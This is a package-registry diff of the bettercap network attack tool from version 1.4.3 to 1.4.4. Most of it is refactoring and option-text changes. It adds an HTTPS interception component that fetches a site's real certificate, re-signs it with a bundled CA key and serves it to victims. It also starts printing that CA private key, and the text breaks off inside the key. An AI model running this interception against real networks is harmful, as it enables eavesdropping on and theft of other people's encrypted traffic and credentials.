bettercap 1.4.3 → 1.4.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (35) hide show
  1. checksums.yaml +4 -4
  2. data/lib/bettercap.rb +15 -2
  3. data/lib/bettercap/context.rb +9 -17
  4. data/lib/bettercap/firewalls/linux.rb +0 -2
  5. data/lib/bettercap/firewalls/osx.rb +0 -2
  6. data/lib/bettercap/loader.rb +4 -1
  7. data/lib/bettercap/monkey/openssl/server.rb +35 -0
  8. data/lib/bettercap/monkey/packetfu/utils.rb +1 -3
  9. data/lib/bettercap/monkey/system.rb +25 -0
  10. data/lib/bettercap/network/arp_reader.rb +0 -1
  11. data/lib/bettercap/network/network.rb +0 -1
  12. data/lib/bettercap/network/packet_queue.rb +0 -1
  13. data/lib/bettercap/network/servers/dnsd.rb +0 -1
  14. data/lib/bettercap/network/servers/httpd.rb +0 -3
  15. data/lib/bettercap/network/target.rb +0 -1
  16. data/lib/bettercap/options.rb +27 -25
  17. data/lib/bettercap/proxy/module.rb +0 -3
  18. data/lib/bettercap/proxy/proxy.rb +30 -18
  19. data/lib/bettercap/proxy/ssl/authority.rb +176 -0
  20. data/lib/bettercap/proxy/ssl/bettercap-ca.pem +49 -0
  21. data/lib/bettercap/proxy/ssl/server.rb +61 -0
  22. data/lib/bettercap/proxy/stream_logger.rb +0 -3
  23. data/lib/bettercap/proxy/streamer.rb +36 -6
  24. data/lib/bettercap/proxy/thread_pool.rb +0 -1
  25. data/lib/bettercap/shell.rb +0 -1
  26. data/lib/bettercap/sniffer/parsers/httpauth.rb +0 -1
  27. data/lib/bettercap/sniffer/parsers/https.rb +0 -1
  28. data/lib/bettercap/sniffer/sniffer.rb +0 -3
  29. data/lib/bettercap/spoofers/arp.rb +1 -2
  30. data/lib/bettercap/spoofers/icmp.rb +0 -3
  31. data/lib/bettercap/spoofers/none.rb +0 -2
  32. data/lib/bettercap/update_checker.rb +0 -5
  33. data/lib/bettercap/version.rb +1 -1
  34. metadata +7 -3
  35. data/lib/bettercap/proxy/certstore.rb +0 -75
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 004df8ac9f02a6075dffa69038fb4b8fd02b8e8b
4
- data.tar.gz: 720d7f1c5bcc08ad97eb917291d9a8c8463cc892
3
+ metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
4
+ data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
5
5
  SHA512:
6
- metadata.gz: c9a2e1722001bef5dbe99bc80e7c87b1ebfb3f2d93e85de449d272525332f04e098ad92d530b1b2e263da6e32a095c5044bb51bf543b6465e494da5b7dd249cd
7
- data.tar.gz: eb475421115056754c756550a5379970532fc2b018a321a50bd1a3fdec16929f7cef71393ea37c722df4574ca68eec4f1a62cfc77a369b13ff6395c6bf7f9891
6
+ metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
7
+ data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
@@ -17,12 +17,25 @@
17
17
  Encoding.default_external = Encoding::UTF_8
18
18
  Encoding.default_internal = Encoding::UTF_8
19
19
 
20
- require 'optparse'
20
+ require 'base64'
21
21
  require 'colorize'
22
+ require 'digest'
23
+ require 'ipaddr'
24
+ require 'json'
25
+ require 'net/dns'
26
+ require 'net/http'
27
+ require 'openssl'
28
+ require 'optparse'
22
29
  require 'packetfu'
23
30
  require 'pcaprub'
24
- require 'ipaddr'
31
+ require 'resolv'
32
+ require 'rubydns'
33
+ require 'socket'
34
+ require 'stringio'
35
+ require 'thread'
25
36
  require 'uri'
37
+ require 'webrick'
38
+ require 'zlib'
26
39
 
27
40
  Object.send :remove_const, :Config rescue nil
28
41
  Config = RbConfig
@@ -11,8 +11,6 @@ This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
13
 
14
- require 'bettercap/error'
15
-
16
14
  module BetterCap
17
15
  # This class holds global states and data, moreover it exposes high level
18
16
  # methods to manipulate the program behaviour.
@@ -37,9 +35,9 @@ class Context
37
35
  attr_accessor :httpd
38
36
  # Instance of BetterCap::Network::Servers::DNSD class.
39
37
  attr_accessor :dnsd
40
- # Instance of OpenSSL::X509::Certificate class used
38
+ # Instance of Proxy::SSL::Authority class used
41
39
  # for the HTTPS transparent proxy.
42
- attr_accessor :certificate
40
+ attr_accessor :authority
43
41
  # Set to true if the program is running, to false if a shutdown was
44
42
  # scheduled by the user which pressed CTRL+C
45
43
  attr_accessor :running
@@ -77,7 +75,7 @@ class Context
77
75
  @spoofer = nil
78
76
  @httpd = nil
79
77
  @dnsd = nil
80
- @certificate = nil
78
+ @authority = nil
81
79
  @proxies = []
82
80
  @redirections = []
83
81
  @discovery = Discovery::Thread.new self
@@ -139,7 +137,7 @@ class Context
139
137
  end
140
138
 
141
139
  # Start proxies and setup port redirection.
142
- if @options.proxy
140
+ if @options.proxy or @options.proxy_https
143
141
  if @options.has_http_sniffer_enabled?
144
142
  BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
145
143
  end
@@ -248,19 +246,13 @@ class Context
248
246
  end
249
247
 
250
248
  # create HTTP proxy
251
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
249
+ if @options.proxy
250
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
251
+ end
252
+
252
253
  # create HTTPS proxy
253
254
  if @options.proxy_https
254
- # We're not acting as a normal HTTPS proxy, thus we're not
255
- # able to handle CONNECT requests, thus we don't know the
256
- # hostname the client is going to connect to.
257
- # We can only use a self signed certificate.
258
- if @options.proxy_pem_file.nil?
259
- @certificate = Proxy::CertStore.get_selfsigned
260
- else
261
- @certificate = Proxy::CertStore.from_file @options.proxy_pem_file
262
- end
263
-
255
+ @authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
264
256
  @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
265
257
  end
266
258
 
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/firewalls/base'
14
- require 'bettercap/shell'
15
13
 
16
14
  module BetterCap
17
15
  module Firewalls
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/firewalls/base'
14
- require 'bettercap/shell'
15
13
 
16
14
  module BetterCap
17
15
  module Firewalls
@@ -1,12 +1,15 @@
1
1
  # encoding: UTF-8
2
2
  =begin
3
+
3
4
  BETTERCAP
5
+
4
6
  Author : Simone 'evilsocket' Margaritelli
5
7
  Email : evilsocket@gmail.com
6
8
  Blog : http://www.evilsocket.net/
9
+
7
10
  This project is released under the GPL 3 license.
11
+
8
12
  =end
9
- require 'bettercap/error'
10
13
 
11
14
  module BetterCap
12
15
  # This class is responsible for dynamically loading modules.
@@ -0,0 +1,35 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ # Add accept_nonblock method to OpenSSL::SSL::SSLServer
15
+ module OpenSSL
16
+ module SSL
17
+ class SSLServer
18
+ unless public_method_defined? :accept_nonblock
19
+ def accept_nonblock
20
+ sock = @svr.accept_nonblock
21
+
22
+ begin
23
+ ssl = OpenSSL::SSL::SSLSocket.new(sock, @ctx)
24
+ ssl.sync_close = true
25
+ ssl.accept if @start_immediately
26
+ ssl
27
+ rescue SSLError => ex
28
+ sock.close
29
+ raise ex
30
+ end
31
+ end
32
+ end
33
+ end
34
+ end
35
+ end
@@ -16,8 +16,6 @@ This project is released under the GPL 3 license.
16
16
  # regular expression.
17
17
  #
18
18
  # ORIGINAL: https://github.com/packetfu/packetfu/blob/master/lib/packetfu/utils.rb#L204
19
- require 'bettercap/logger'
20
-
21
19
  module PacketFu
22
20
  class Packet
23
21
  def eth2s(which = :src)
@@ -29,7 +27,7 @@ module PacketFu
29
27
  end
30
28
  end
31
29
  end
32
-
30
+
33
31
  class Utils
34
32
  def self.ifconfig(iface='eth0')
35
33
  ret = {}
@@ -0,0 +1,25 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ # http://stackoverflow.com/questions/891537/detect-number-of-cpus-installed
15
+ module System
16
+ extend self
17
+ def cpu_count
18
+ return Java::Java.lang.Runtime.getRuntime.availableProcessors if defined? Java::Java
19
+ return File.read('/proc/cpuinfo').scan(/^processor\s*:/).size if File.exist? '/proc/cpuinfo'
20
+ require 'win32ole'
21
+ WIN32OLE.connect("winmgmts://").ExecQuery("select * from Win32_ComputerSystem").NumberOfProcessors
22
+ rescue LoadError
23
+ Integer `sysctl -n hw.ncpu 2>/dev/null` rescue 4
24
+ end
25
+ end
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'thread'
14
13
 
15
14
  module BetterCap
16
15
  # Handles various network related tasks.
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'rubydns'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'webrick'
14
-
15
- require 'bettercap/logger'
16
13
 
17
14
  module BetterCap
18
15
  module Network
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'socket'
14
13
 
15
14
  module BetterCap
16
15
  module Network
@@ -175,11 +175,11 @@ class Options
175
175
  ctx.options.gateway = v
176
176
  end
177
177
 
178
- opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s ) do |v|
178
+ opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s.yellow ) do |v|
179
179
  ctx.options.iface = v
180
180
  end
181
181
 
182
- opts.on( '-S', '--spoofer NAME', 'Spoofer module to use, available: ' + Spoofers::Base.available.join(', ') + ' - default: ' + ctx.options.spoofer ) do |v|
182
+ opts.on( '-S', '--spoofer NAME', "Spoofer module to use, available: #{Spoofers::Base.available.map{|x| x.yellow }.join(', ')} - default: #{ctx.options.spoofer.yellow}." ) do |v|
183
183
  ctx.options.spoofer = v
184
184
  end
185
185
 
@@ -203,7 +203,7 @@ class Options
203
203
  ctx.options.debug = true
204
204
  end
205
205
 
206
- opts.on( '-L', '--local', 'Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.' ) do
206
+ opts.on( '-L', '--local', "Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to #{'false'.yellow}." ) do
207
207
  ctx.options.local = true
208
208
  ctx.options.sniffer = true
209
209
  end
@@ -227,7 +227,7 @@ class Options
227
227
  ctx.options.sniffer_filter = v
228
228
  end
229
229
 
230
- opts.on( '-P', '--parsers PARSERS', 'Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to true ), available: ' + Parsers::Base.available.join(', ') + ' - default: *' ) do |v|
230
+ opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v|
231
231
  ctx.options.sniffer = true
232
232
  ctx.options.parsers = Parsers::Base.from_cmdline(v)
233
233
  end
@@ -238,15 +238,15 @@ class Options
238
238
  ctx.options.custom_parser = Regexp.new(v)
239
239
  end
240
240
 
241
- opts.on( '--silent', 'Suppress every message which is not an error or a warning, default to false.' ) do
241
+ opts.on( '--silent', "Suppress every message which is not an error or a warning, default to #{'false'.yellow}." ) do
242
242
  ctx.options.silent = true
243
243
  end
244
244
 
245
- opts.on( '--no-discovery', 'Do not actively search for hosts, just use the current ARP cache, default to false.' ) do
245
+ opts.on( '--no-discovery', "Do not actively search for hosts, just use the current ARP cache, default to #{'false'.yellow}." ) do
246
246
  ctx.options.arpcache = true
247
247
  end
248
248
 
249
- opts.on( '--no-spoofing', 'Disable spoofing, alias for --spoofer NONE.' ) do
249
+ opts.on( '--no-spoofing', "Disable spoofing, alias for #{'--spoofer NONE'.yellow}." ) do
250
250
  ctx.options.spoofer = 'NONE'
251
251
  end
252
252
 
@@ -258,41 +258,38 @@ class Options
258
258
  ctx.options.half_duplex = true
259
259
  end
260
260
 
261
- opts.on( '--proxy', 'Enable HTTP proxy and redirects all HTTP requests to it, default to false.' ) do
261
+ opts.on( '--proxy', "Enable HTTP proxy and redirects all HTTP requests to it, default to #{'false'.yellow}." ) do
262
262
  ctx.options.proxy = true
263
263
  end
264
264
 
265
- opts.on( '--proxy-https', 'Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.' ) do
266
- ctx.options.proxy = true
265
+ opts.on( '--proxy-https', "Enable HTTPS proxy and redirects all HTTPS requests to it, default to #{'false'.yellow}." ) do
267
266
  ctx.options.proxy_https = true
268
267
  end
269
268
 
270
- opts.on( '--proxy-port PORT', 'Set HTTP proxy port, default to ' + ctx.options.proxy_port.to_s + ' .' ) do |v|
269
+ opts.on( '--proxy-port PORT', "Set HTTP proxy port, default to #{ctx.options.proxy_port.to_s.yellow}." ) do |v|
271
270
  ctx.options.proxy = true
272
271
  ctx.options.proxy_port = v.to_i
273
272
  end
274
273
 
275
- opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
274
+ opts.on( '--http-ports PORT1,PORT2', "Comma separated list of HTTP ports to redirect to the proxy, default to #{ctx.options.http_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
276
275
  ctx.options.http_ports = ctx.options.parse_ports( v )
277
276
  end
278
277
 
279
- opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
278
+ opts.on( '--https-ports PORT1,PORT2', "Comma separated list of HTTPS ports to redirect to the proxy, default to #{ctx.options.https_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
280
279
  ctx.options.https_ports = ctx.options.parse_ports( v )
281
280
  end
282
281
 
283
- opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
284
- ctx.options.proxy = true
282
+ opts.on( '--proxy-https-port PORT', "Set HTTPS proxy port, default to #{ctx.options.proxy_https_port.to_s.yellow}." ) do |v|
285
283
  ctx.options.proxy_https = true
286
284
  ctx.options.proxy_https_port = v.to_i
287
285
  end
288
286
 
289
- opts.on( '--proxy-pem FILE', 'Use a custom PEM certificate file for the HTTPS proxy.' ) do |v|
290
- ctx.options.proxy = true
287
+ opts.on( '--proxy-pem FILE', "Use a custom PEM CA certificate file for the HTTPS proxy, default to #{Proxy::SSL::Authority::DEFAULT.yellow} ." ) do |v|
291
288
  ctx.options.proxy_https = true
292
289
  ctx.options.proxy_pem_file = File.expand_path v
293
290
  end
294
291
 
295
- opts.on( '--proxy-module MODULE', 'Ruby proxy module to load, either a custom file or one of the following: ' + Proxy::Module.available.join(', ') + ' .' ) do |v|
292
+ opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
296
293
  Proxy::Module.load(ctx, opts, v)
297
294
  end
298
295
 
@@ -300,7 +297,7 @@ class Options
300
297
  ctx.options.parse_custom_proxy!(v)
301
298
  end
302
299
 
303
- opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
300
+ opts.on( '--custom-proxy-port PORT', "Specify a port for the custom HTTP upstream proxy, default to #{ctx.options.custom_proxy_port.to_s.yellow}." ) do |v|
304
301
  ctx.options.custom_proxy_port = v.to_i
305
302
  end
306
303
 
@@ -312,19 +309,19 @@ class Options
312
309
  ctx.options.parse_custom_proxy!( v, true )
313
310
  end
314
311
 
315
- opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
312
+ opts.on( '--custom-https-proxy-port PORT', "Specify a port for the custom HTTPS upstream proxy, default to #{ctx.options.custom_https_proxy_port.to_s.yellow}." ) do |v|
316
313
  ctx.options.custom_https_proxy_port = v.to_i
317
314
  end
318
315
 
319
- opts.on( '--custom-redirection RULE', 'Apply a custom port redirection, the format of the rule is "PROTOCOL ORIGINAL_PORT NEW_PORT". For instance "TCP 21 2100" will redirect all TCP traffic going to port 21, to port 2100.' ) do |v|
316
+ opts.on( '--custom-redirection RULE', "Apply a custom port redirection, the format of the rule is #{'PROTOCOL ORIGINAL_PORT NEW_PORT'.yellow}. For instance #{'TCP 21 2100'.yellow} will redirect all TCP traffic going to port 21, to port 2100." ) do |v|
320
317
  ctx.options.parse_redirection!( v )
321
318
  end
322
319
 
323
- opts.on( '--httpd', 'Enable HTTP server, default to false.' ) do
320
+ opts.on( '--httpd', "Enable HTTP server, default to #{'false'.yellow}." ) do
324
321
  ctx.options.httpd = true
325
322
  end
326
323
 
327
- opts.on( '--httpd-port PORT', 'Set HTTP server port, default to ' + ctx.options.httpd_port.to_s + '.' ) do |v|
324
+ opts.on( '--httpd-port PORT', "Set HTTP server port, default to #{ctx.options.httpd_port.to_s.yellow}." ) do |v|
328
325
  ctx.options.httpd = true
329
326
  ctx.options.httpd_port = v.to_i
330
327
  end
@@ -334,11 +331,11 @@ class Options
334
331
  ctx.options.dnsd_file = File.expand_path v
335
332
  end
336
333
 
337
- opts.on( '--dns-port PORT', 'Set DNS server port, default to ' + ctx.options.dnsd_port.to_s + '.' ) do |v|
334
+ opts.on( '--dns-port PORT', "Set DNS server port, default to #{ctx.options.dnsd_port.to_s.yellow}." ) do |v|
338
335
  ctx.options.dnsd_port = v.to_i
339
336
  end
340
337
 
341
- opts.on( '--httpd-path PATH', 'Set HTTP server path, default to ' + ctx.options.httpd_path + '.' ) do |v|
338
+ opts.on( '--httpd-path PATH', "Set HTTP server path, default to #{ctx.options.httpd_path.yellow} ." ) do |v|
342
339
  ctx.options.httpd = true
343
340
  ctx.options.httpd_path = v
344
341
  end
@@ -380,6 +377,11 @@ class Options
380
377
  "either use the --no-sslstrip option or remove the --dns option."
381
378
  end
382
379
 
380
+ if ctx.options.has_proxy_module? and ( !ctx.options.proxy and !ctx.options.proxy_https )
381
+ raise BetterCap::Error, "A proxy module was specified but none of the HTTP or HTTPS proxies are " \
382
+ "enabled, specify --proxy or --proxy-https options."
383
+ end
384
+
383
385
  unless ctx.options.gateway.nil?
384
386
  raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
385
387
  ctx.gateway = ctx.options.gateway
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
@@ -40,8 +39,6 @@ class Module
40
39
 
41
40
  # Load the module with +name+.
42
41
  def self.load(ctx, opts, name)
43
- ctx.options.proxy = true
44
-
45
42
  if self.is_builtin?(name)
46
43
  ctx.options.proxy_module = "#{@@path}/#{name}.rb"
47
44
  else
@@ -11,9 +11,6 @@ This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
13
 
14
- require 'socket'
15
- require 'uri'
16
-
17
14
  module BetterCap
18
15
  module Proxy
19
16
  # Transparent proxy class.
@@ -28,13 +25,12 @@ class Proxy
28
25
  @is_https = is_https
29
26
  @type = is_https ? 'HTTPS' : 'HTTP'
30
27
  @upstream_port = is_https ? 443 : 80
31
- @sslserver = nil
32
- @sslcontext = nil
33
28
  @server = nil
29
+ @sslserver = nil
34
30
  @main_thread = nil
35
31
  @running = false
36
- @streamer = Streamer.new processor
37
32
  @local_ips = []
33
+ @streamer = Streamer.new( processor, need_sslstrip? )
38
34
 
39
35
  begin
40
36
  @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
@@ -46,7 +42,10 @@ class Proxy
46
42
 
47
43
  BasicSocket.do_not_reverse_lookup = true
48
44
 
49
- @pool = ThreadPool.new( 4, 64 ) do |client|
45
+ tmin = System.cpu_count
46
+ tmax = tmin * 16
47
+
48
+ @pool = ThreadPool.new( tmin, tmax ) do |client|
50
49
  begin
51
50
  client_worker client
52
51
  rescue Exception => e
@@ -59,16 +58,13 @@ class Proxy
59
58
  # Start this proxy instance.
60
59
  def start
61
60
  begin
62
- @server = @socket = TCPServer.new( @address, @port )
61
+ @socket = TCPServer.new( @address, @port )
63
62
 
64
63
  if @is_https
65
- cert = Context.get.certificate
66
-
67
- @sslcontext = OpenSSL::SSL::SSLContext.new
68
- @sslcontext.cert = cert[:cert]
69
- @sslcontext.key = cert[:key]
70
-
71
- @server = @sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
64
+ @sslserver = SSL::Server.new( @socket )
65
+ @server = @sslserver.io
66
+ else
67
+ @server = @socket
72
68
  end
73
69
 
74
70
  @main_thread = Thread.new &method(:server_thread)
@@ -100,13 +96,24 @@ class Proxy
100
96
  Logger.info "[#{@type.green}] Proxy starting on #{@address}:#{@port} ...\n"
101
97
 
102
98
  @running = true
99
+ sockets = [ @server ]
103
100
 
104
101
  while @running do
105
102
  begin
106
- @pool << @server.accept
103
+ IO.select(sockets).first.each do |sock|
104
+ begin
105
+ if io = sock.accept_nonblock
106
+ @pool << io
107
+ end
108
+ rescue SystemCallError
109
+ # nothing
110
+ rescue Errno::ECONNABORTED
111
+ # client closed the socket even before accept
112
+ io.close rescue nil
113
+ end
114
+ end
107
115
  rescue OpenSSL::SSL::SSLError => se
108
- Logger.debug("Error while accepting #{@type} connection.")
109
- Logger.exception(se)
116
+ Logger.debug("Error while accepting #{@type} connection ( #{se.message} ).")
110
117
  rescue Exception => e
111
118
  Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
112
119
  end
@@ -162,6 +169,11 @@ class Proxy
162
169
 
163
170
  client.close
164
171
  end
172
+
173
+ # Return true if sslstrip is needed for this proxy instance.
174
+ def need_sslstrip?
175
+ ( Context.get.options.sslstrip and !@is_https )
176
+ end
165
177
  end
166
178
 
167
179
  end
@@ -0,0 +1,176 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module SSL
17
+
18
+ # Simple wrapper class used to fetch a server HTTPS certificate.
19
+ class Fetcher < Net::HTTP
20
+ # The server HTTPS certificate.
21
+ attr_accessor :certificate
22
+ # Overridden from Net::HTTP in order to save the peer certificate
23
+ # before the connection is closed.
24
+ def on_connect
25
+ @certificate = peer_cert
26
+ end
27
+ # Fetch the HTTPS certificate of +hostname+:+port+.
28
+ def self.fetch( hostname, port )
29
+ http = self.new( hostname, port )
30
+ http.use_ssl = true
31
+ http.verify_mode = OpenSSL::SSL::VERIFY_NONE
32
+
33
+ http.head("/")
34
+ http.certificate
35
+ end
36
+ end
37
+
38
+ # Used as an on-disk cache of server certificates.
39
+ class Store
40
+ # The store path.
41
+ PATH = File.join( Dir.home, '.bettercap', 'certificates' )
42
+
43
+ # Create an instance of this class.
44
+ def initialize
45
+ unless File.directory?( Store::PATH )
46
+ Logger.info "[#{'SSL'.green}] Initializing certificates store '#{Store::PATH}' ..."
47
+ FileUtils.mkdir_p( Store::PATH )
48
+ end
49
+
50
+ @store = {}
51
+ @lock = Mutex.new
52
+ end
53
+
54
+ # Find the +hostname+:+port+ certificate and return it.
55
+ def find( hostname, port )
56
+ key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
57
+
58
+ @lock.synchronize {
59
+ unless @store.has_key?(key)
60
+ # Certificate not available in memory, search it in the store PATH.
61
+ filename = File.join( Store::PATH, key )
62
+ s_cert = load_from_file( filename )
63
+ # Not available on disk too, fetch it from the server and save it.
64
+ if s_cert.nil?
65
+ Logger.info "[#{'SSL'.green}] Fetching certificate from #{hostname}:#{port} ..."
66
+
67
+ s_cert = Fetcher.fetch( hostname, port )
68
+ save_to_file( s_cert, filename )
69
+ else
70
+ Logger.info "[#{'SSL'.green}] Loaded HTTPS certificate for '#{hostname}' from store."
71
+ end
72
+
73
+ @store[key] = s_cert
74
+ end
75
+ }
76
+
77
+ @store[key]
78
+ end
79
+
80
+ private
81
+
82
+ # Load and return a certificate from +filename+ if it exists, also check if
83
+ # the certificate is expired, in which case it will remove it and return nil.
84
+ def load_from_file( filename )
85
+ cert = nil
86
+ if File.exist?(filename)
87
+ data = File.read(filename)
88
+ cert = OpenSSL::X509::Certificate.new(data)
89
+ # Check if expired.
90
+ now = Time.now
91
+ if now < cert.not_before or now > cert.not_after
92
+ File.delete( filename )
93
+ cert = nil
94
+ end
95
+ end
96
+ cert
97
+ end
98
+
99
+ # Save the +cert+ certificate to +filename+ encoded as PEM.
100
+ def save_to_file( cert, filename )
101
+ File.open( filename, "w+" ) { |file| file.write(cert.to_pem) }
102
+ end
103
+ end
104
+
105
+ # This class represents bettercap's HTTPS CA.
106
+ class Authority
107
+ # Default CA file.
108
+ DEFAULT = File.join( Dir.home, '.bettercap', 'bettercap-ca.pem' )
109
+
110
+ # CA certificate.
111
+ attr_reader :certificate
112
+ # CA key.
113
+ attr_reader :key
114
+
115
+ # Create an instance of this class loading the certificate and key from
116
+ # +filename+ which is expected to be a PEM formatted file.
117
+ # If +filename+ is nil, Authority::DEFAULT will be used instead.
118
+ def initialize( filename = nil )
119
+ install_ca
120
+ filename ||= Authority::DEFAULT
121
+
122
+ Logger.info "[#{'SSL'.green}] Loading HTTPS Certification Authority from '#{filename}' ..."
123
+
124
+ begin
125
+ pem = File.read(filename)
126
+
127
+ @certificate = OpenSSL::X509::Certificate.new(pem)
128
+ @key = OpenSSL::PKey::RSA.new(pem)
129
+ @store = Store.new
130
+ @cache = {}
131
+ @lock = Mutex.new
132
+ rescue Errno::ENOENT
133
+ raise BetterCap::Error, "'#{filename}' - No such file or directory."
134
+
135
+ rescue OpenSSL::X509::CertificateError
136
+ raise BetterCap::Error, "'#{filename}' - Missing or invalid certificate."
137
+
138
+ rescue OpenSSL::PKey::RSAError
139
+ raise BetterCap::Error, "'#{filename}' - Missing or invalid key."
140
+ end
141
+ end
142
+
143
+ # Fetch the certificate from +hostname+:+port+, sign it with our own CA and
144
+ # return it.
145
+ def spoof( hostname, port = 443 )
146
+ @lock.synchronize {
147
+ unless @cache.has_key?(hostname)
148
+ # 1. fetch real server certificate
149
+ s_cert = @store.find( hostname, port )
150
+ # 2. Sign it with our CA.
151
+ s_cert.public_key = @key.public_key
152
+ s_cert.issuer = @certificate.subject
153
+ s_cert.sign( @key, OpenSSL::Digest::SHA256.new )
154
+ # 3. Profit ^_^
155
+ @cache[hostname] = s_cert
156
+ end
157
+ }
158
+ @cache[hostname]
159
+ end
160
+
161
+ def install_ca
162
+ unless File.exist?( Authority::DEFAULT )
163
+ root = File.join( Dir.home, '.bettercap' )
164
+ source = File.dirname(__FILE__) + '/bettercap-ca.pem'
165
+
166
+ Logger.info "[#{'SSL'.green}] Installing CA to #{root} ..."
167
+
168
+ FileUtils.mkdir_p( root )
169
+ FileUtils.cp( source, root )
170
+ end
171
+ end
172
+ end
173
+
174
+ end
175
+ end
176
+ end
@@ -0,0 +1,49 @@
1
+ -----BEGIN PRIVATE KEY-----
2
+ MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaoeZj2x7hY4RV
3
+ L4S6F6GfsEAye1/rTivXQCBsEMdBifPFCWz4i1s5v1CbxO4x4dfgtJiVniGyMsnQ
4
+ pWOsZ/kjt74FIzgA2A7RTsz6+jvxFnw8uNH2UvHAlXerpghBw7F46HTKb7fPGlXI
5
+ eMrXd7SQ9fonNM1fQ0L37+ILAaZIIXjm3bM7KWuM7+8qr2bxLxP9A1ud5ruOLNF+
6
+ jxcCykm6ir/eo3M+4Yo9pOwsIvg9foOw7ahEVSB7nAZB9J2ohbCFfG7sFhKKgWFT
7
